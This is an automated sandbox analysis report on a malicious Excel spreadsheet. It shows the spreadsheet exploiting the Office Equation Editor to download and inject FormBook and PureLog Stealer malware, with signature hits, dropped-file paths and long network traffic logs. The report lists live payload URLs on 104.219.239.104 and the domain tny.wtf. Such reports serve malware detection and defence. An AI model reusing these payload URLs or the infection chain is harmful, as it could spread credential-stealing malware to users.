Windows Analysis Report
RFQ#51281AOLAI.xls

Overview

General Information

Sample name: RFQ#51281AOLAI.xls
Analysis ID: 1482963
MD5: 114f2dfd11f6d21eddaf6162cb818ac2
SHA1: 48d1cd6e1945d794b8eea48094de07f3d77c169a
SHA256: fcfabaaf9a5b228727840c434c7192369cd82f115fbe29dade21dc6c722eddd0
Infos:

Detection

FormBook, PureLog Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Yara detected FormBook
Yara detected PureLog Stealer
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
AI detected suspicious Excel or Word document
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Machine Learning detection for sample
Microsoft Office drops suspicious files
Office drops RTF file
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Sigma detected: Equation Editor Network Connection
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document contains embedded VBA macros
Document misses a certain OLE stream usually present in this Microsoft Office document type
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Excel Network Connections
Sigma detected: Suspicious Office Outbound Connections
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened[1].doc Avira: detection malicious, Label: HEUR/Rtf.Malformed
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B9D5C678.doc Avira: detection malicious, Label: HEUR/Rtf.Malformed
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B2025738-BC6B-4CB2-8D99-AAA2C3F993CF}.tmp Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Multi AV Scanner detection for domain / URL
Source: tny.wtf Virustotal: Detection: 5% Perma Link
Source: http://tny.wtf/ Virustotal: Detection: 5% Perma Link
Source: http://104.219.239.104/80/winiti.exe Virustotal: Detection: 11% Perma Link
Source: http://104.219.239.104/xampp/bn/recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened.doc Virustotal: Detection: 11% Perma Link
Source: http://104.219.239.104/80/winiti.exej Virustotal: Detection: 11% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winiti[1].exe Virustotal: Detection: 48% Perma Link
Multi AV Scanner detection for submitted file
Source: RFQ#51281AOLAI.xls ReversingLabs: Detection: 18%
Source: RFQ#51281AOLAI.xls Virustotal: Detection: 19% Perma Link
Yara detected FormBook
Source: Yara match File source: 9.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.522804194.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.522828239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winiti[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\winiti.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: RFQ#51281AOLAI.xls Joe Sandbox ML: detected

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 104.219.239.104 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe Jump to behavior
Document contains Microsoft Equation 3.0 OLE entries
Source: ~WRF{B2025738-BC6B-4CB2-8D99-AAA2C3F993CF}.tmp.3.dr Stream path '_1783481320/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{B2025738-BC6B-4CB2-8D99-AAA2C3F993CF}.tmp.3.dr Stream path '_1783481329/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{B2025738-BC6B-4CB2-8D99-AAA2C3F993CF}.tmp.3.dr Stream path '_1783481355/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{B2025738-BC6B-4CB2-8D99-AAA2C3F993CF}.tmp.3.dr Stream path '_1783481357/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{B2025738-BC6B-4CB2-8D99-AAA2C3F993CF}.tmp.3.dr Stream path '_1783481359/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: amWV.pdb source: winiti.exe, 00000008.00000000.439146431.0000000000302000.00000020.00000001.01000000.00000005.sdmp, winiti[1].exe.6.dr, winiti.exe.6.dr
Source: Binary string: amWV.pdbSHA256 source: winiti.exe, 00000008.00000000.439146431.0000000000302000.00000020.00000001.01000000.00000005.sdmp, winiti[1].exe.6.dr, winiti.exe.6.dr
Source: Binary string: wntdll.pdb source: winiti.exe, winiti.exe, 00000009.00000002.522875994.0000000000940000.00000040.00001000.00020000.00000000.sdmp

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
